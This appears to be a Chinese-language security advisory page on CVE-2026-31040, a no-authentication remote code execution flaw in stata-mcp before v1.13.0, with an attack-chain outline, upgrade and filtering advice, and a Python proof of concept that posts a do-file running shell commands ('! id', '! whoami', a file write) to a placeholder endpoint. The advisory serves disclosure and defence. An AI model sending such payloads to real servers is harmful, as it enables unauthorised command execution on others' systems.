IPBUF安全漏洞报告
English
CVE-2026-31040 CVSS 9.8 严重

CVE-2026-31040: stata-mcp远程代码执行漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-31040
漏洞类型
远程代码执行 (RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
stata-mcp

相关标签

RCEstata-mcp远程代码执行CVSS-9.8命令注入

漏洞概述

stata-mcp项目在v1.13.0之前的版本中存在一个严重的远程代码执行漏洞。该漏洞源于程序对用户提交的Stata do-file内容缺乏充分的输入验证。攻击者无需进行身份认证,即可利用网络接口向目标发送恶意构造的do文件。成功利用此漏洞可导致攻击者在系统上下文中执行任意命令,进而完全破坏系统的机密性、完整性和可用性。

技术细节

该漏洞的根源在于stata-mcp未能正确过滤和清洗用户输入的Stata脚本(do-file)内容。在处理用户上传或提交的do文件时,应用程序直接将其传递给底层的Stata解释器执行,而未对其中可能包含的恶意指令进行安全检查或沙箱隔离。Stata语言本身支持通过特定语法(如`!`前缀或`shell`命令)调用底层操作系统的Shell。攻击者可以利用这一特性,构造包含恶意操作系统命令的do文件。由于CVSS向量显示PR:N(无需权限)和UI:N(无需交互),攻击者可以通过网络向受影响的服务端接口直接发送特制的恶意载荷。一旦服务器解析并执行该文件,攻击者即可在服务器上下文中运行任意系统命令,从而完全控制受害主机。

攻击链分析

STEP 1
侦察
攻击者识别出互联网上运行stata-mcp且版本低于v1.13.0的目标服务。
STEP 2
武器化
攻击者构造一个包含恶意Shell命令的Stata do文件,利用Stata的`!`前缀特性执行系统指令。
STEP 3
投递
攻击者通过HTTP请求将包含恶意代码的do文件发送到stata-mcp的处理接口,无需任何用户交互或认证。
STEP 4
利用
stata-mcp服务接收到请求后,解析do文件内容并将其传递给Stata解释器执行。
STEP 5
执行与控制
Stata解释器执行嵌入的Shell命令,攻击者成功在目标服务器上获得远程代码执行权限,进而控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example, replace with actual vulnerable endpoint) target_url = "http://vulnerable-host:port/api/execute" # Malicious Stata do-file content # Stata allows shell command execution using the '!' prefix malicious_payload = """ * This is a malicious do-file display "Executing arbitrary command..." ! id ! whoami ! echo "CVE-2026-31040 PoC" > /tmp/poc.txt """ # Headers (if authentication is not required, headers might be minimal) headers = { "Content-Type": "application/json" } # Data payload structure (depends on API implementation) data = { "dofile_content": malicious_payload } try: print("[*] Sending PoC payload to target...") response = requests.post(target_url, json=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Response from server:") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

stata-mcp < v1.13.0

防御指南

临时缓解措施
建议立即将stata-mcp组件升级至v1.13.0或更高版本以修复此漏洞。如果无法立即升级,应限制对受影响服务的网络访问,仅允许可信IP连接,并对传入的do-file内容实施严格的过滤规则,禁止包含`!`或`shell`等关键字的脚本执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表